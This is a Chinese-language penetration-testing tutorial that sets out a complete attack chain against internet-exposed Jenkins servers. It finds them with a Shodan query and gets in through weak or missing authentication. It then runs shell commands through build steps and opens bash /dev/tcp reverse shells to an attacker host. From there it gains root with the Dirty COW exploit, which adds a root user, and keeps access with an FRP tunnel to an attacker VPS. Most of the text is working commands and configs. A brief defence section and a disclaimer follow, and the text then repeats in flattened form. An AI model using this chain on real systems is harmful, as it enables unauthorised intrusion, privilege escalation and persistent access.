Jenkins脏牛漏洞FRP内网提权
字数 1676 2025-08-18 11:39:00

Jenkins脏牛漏洞利用与FRP内网提权技术分析

1. Jenkins简介与安全背景

Jenkins是一款基于Java开发的开源持续集成工具,运行在Servlet容器(如Apache Tomcat)中,能够执行基于Apache Ant和Apache Maven的项目,以及任意Shell脚本和Windows批处理命令。

安全现状

  • 互联网上部署的Jenkins服务器普遍存在弱口令问题
  • 部分Jenkins应用甚至无需认证即可访问构建任务页面
  • 默认配置下具有执行系统命令的能力

2. Jenkins命令执行漏洞利用

2.1 初始访问方式

  • 通过弱口令登录(常见如admin/admin)
  • 无需认证直接访问(部分配置不当的实例)
  • Shodan搜索语法:
    html:"Dashboard Jenkins" "X-Jenkins" "Set-Cookie: JSESSIONID" http.title:"Dashboard"
    

2.2 命令执行方法

方法一:通过"系统管理-脚本命令行"

  • 路径:系统管理 → 脚本命令行
  • 可执行Groovy脚本
  • 注意:某些环境下反弹shell可能失败

方法二:通过项目构建执行Shell

  1. 新建任务 → 构建一个自由风格的软件项目
  2. 进入项目配置 → 构建 → 增加构建步骤 → 执行shell
  3. 输入恶意命令并保存
  4. 点击"立即构建"执行命令

2.3 反弹Shell技术

常用反弹Shell命令

bash -i >& /dev/tcp/X.X.X.X/7777 0>&1
/bin/bash -i > /dev/tcp/attackerip/8080 0<&1 2>&1
exec 5<>/dev/tcp/attackerip/7777;cat <&5 | while read line; do $line 2>&5 >&5; done

监听端命令

nc -lvp 7777

3. 权限提升:脏牛(Dirty COW)漏洞利用

3.1 漏洞简介

脏牛漏洞(CVE-2016-5195)是Linux内核中的权限提升漏洞,影响2.6.22 <= 内核版本 < 4.8.3的系统。

3.2 利用步骤

  1. 检查内核版本

    uname -a
    

    确认版本在受影响范围内(如2.6.32)

  2. 下载利用代码

    wget https://github.com/FireFart/dirtycow
    
  3. 编译利用程序

    gcc -pthread dirty.c -o dirty -lcrypt
    
  4. 执行提权

    ./dirty 新密码
    

    程序会创建一个具有root权限的新用户(默认用户名为firefart)

  5. 验证提权

    cat /etc/passwd
    

    确认新用户已添加到passwd文件中

4. 内网穿透:FRP工具使用

当遇到非TTY环境无法切换用户时,可通过内网穿透建立稳定连接。

4.1 FRP工具简介

FRP是一款高性能的反向代理应用,可用于内网穿透,支持TCP、UDP、HTTP、HTTPS等协议。

4.2 配置与使用

服务器端配置(攻击者VPS)

  1. 编辑frps.ini:

    [common]
    bind_port = 7000
    
  2. 启动服务:

    nohup ./frps -c ./frps.ini &
    

客户端配置(被攻击机器)

  1. 下载并编辑frpc.ini:

    [common]
    server_addr = VPS_IP
    server_port = 7000
    
    [ssh]
    type = tcp
    local_ip = 127.0.0.1
    local_port = 22
    remote_port = 6000
    
  2. 启动客户端:

    nohup ./frpc -c ./frpc.ini &
    

    或使用screen保持会话:

    screen -S frp ./frpc -c ./frpc.ini
    

连接方式

通过SSH连接VPS的6000端口即可访问内网机器:

ssh -p 6000 VPS_IP

5. 完整攻击链总结

  1. 发现并访问Jenkins实例(弱口令或未授权)
  2. 通过构建任务或脚本命令行执行系统命令
  3. 建立反弹Shell连接
  4. 检查系统内核版本,确认脏牛漏洞可利用性
  5. 下载、编译并执行脏牛漏洞利用程序
  6. 配置FRP内网穿透建立稳定连接
  7. 通过SSH使用提权后的凭证登录系统

6. 防御建议

  1. Jenkins安全配置

    • 强制使用强密码认证
    • 限制匿名用户权限
    • 定期更新Jenkins版本
  2. 系统层面防护

    • 及时更新Linux内核补丁
    • 限制非特权用户的命令执行能力
    • 监控异常进程和网络连接
  3. 网络防护

    • 限制外网对Jenkins的访问
    • 配置防火墙规则阻止异常出站连接
    • 监控内网穿透工具的使用
  4. 审计与监控

    • 定期审计系统用户和权限配置
    • 监控/etc/passwd等关键文件的修改
    • 建立完善的日志收集和分析机制

附录:常用命令速查表

类别 命令 说明
信息收集 uname -a 查看内核版本
反弹Shell bash -i >& /dev/tcp/IP/PORT 0>&1 标准反弹Shell
提权检查 cat /etc/passwd 查看用户列表
网络工具 nc -lvp PORT 监听端口
进程保持 nohup command & 后台运行命令
会话管理 screen -S name 创建持久会话

注意:本文仅用于技术研究和防御目的,未经授权对他人系统进行测试属于违法行为。

Jenkins脏牛漏洞利用与FRP内网提权技术分析 1. Jenkins简介与安全背景 Jenkins是一款基于Java开发的开源持续集成工具,运行在Servlet容器(如Apache Tomcat)中,能够执行基于Apache Ant和Apache Maven的项目,以及任意Shell脚本和Windows批处理命令。 安全现状 : 互联网上部署的Jenkins服务器普遍存在弱口令问题 部分Jenkins应用甚至无需认证即可访问构建任务页面 默认配置下具有执行系统命令的能力 2. Jenkins命令执行漏洞利用 2.1 初始访问方式 通过弱口令登录(常见如admin/admin) 无需认证直接访问(部分配置不当的实例) Shodan搜索语法: 2.2 命令执行方法 方法一:通过"系统管理-脚本命令行" 路径:系统管理 → 脚本命令行 可执行Groovy脚本 注意:某些环境下反弹shell可能失败 方法二:通过项目构建执行Shell 新建任务 → 构建一个自由风格的软件项目 进入项目配置 → 构建 → 增加构建步骤 → 执行shell 输入恶意命令并保存 点击"立即构建"执行命令 2.3 反弹Shell技术 常用反弹Shell命令 : 监听端命令 : 3. 权限提升:脏牛(Dirty COW)漏洞利用 3.1 漏洞简介 脏牛漏洞(CVE-2016-5195)是Linux内核中的权限提升漏洞,影响2.6.22 <= 内核版本 < 4.8.3的系统。 3.2 利用步骤 检查内核版本 : 确认版本在受影响范围内(如2.6.32) 下载利用代码 : 编译利用程序 : 执行提权 : 程序会创建一个具有root权限的新用户(默认用户名为firefart) 验证提权 : 确认新用户已添加到passwd文件中 4. 内网穿透:FRP工具使用 当遇到非TTY环境无法切换用户时,可通过内网穿透建立稳定连接。 4.1 FRP工具简介 FRP是一款高性能的反向代理应用,可用于内网穿透,支持TCP、UDP、HTTP、HTTPS等协议。 4.2 配置与使用 服务器端配置(攻击者VPS) 编辑frps.ini: 启动服务: 客户端配置(被攻击机器) 下载并编辑frpc.ini: 启动客户端: 或使用screen保持会话: 连接方式 通过SSH连接VPS的6000端口即可访问内网机器: 5. 完整攻击链总结 发现并访问Jenkins实例(弱口令或未授权) 通过构建任务或脚本命令行执行系统命令 建立反弹Shell连接 检查系统内核版本,确认脏牛漏洞可利用性 下载、编译并执行脏牛漏洞利用程序 配置FRP内网穿透建立稳定连接 通过SSH使用提权后的凭证登录系统 6. 防御建议 Jenkins安全配置 : 强制使用强密码认证 限制匿名用户权限 定期更新Jenkins版本 系统层面防护 : 及时更新Linux内核补丁 限制非特权用户的命令执行能力 监控异常进程和网络连接 网络防护 : 限制外网对Jenkins的访问 配置防火墙规则阻止异常出站连接 监控内网穿透工具的使用 审计与监控 : 定期审计系统用户和权限配置 监控/etc/passwd等关键文件的修改 建立完善的日志收集和分析机制 附录:常用命令速查表 | 类别 | 命令 | 说明 | |------|------|------| | 信息收集 | uname -a | 查看内核版本 | | 反弹Shell | bash -i >& /dev/tcp/IP/PORT 0>&1 | 标准反弹Shell | | 提权检查 | cat /etc/passwd | 查看用户列表 | | 网络工具 | nc -lvp PORT | 监听端口 | | 进程保持 | nohup command & | 后台运行命令 | | 会话管理 | screen -S name | 创建持久会话 | 注意 :本文仅用于技术研究和防御目的,未经授权对他人系统进行测试属于违法行为。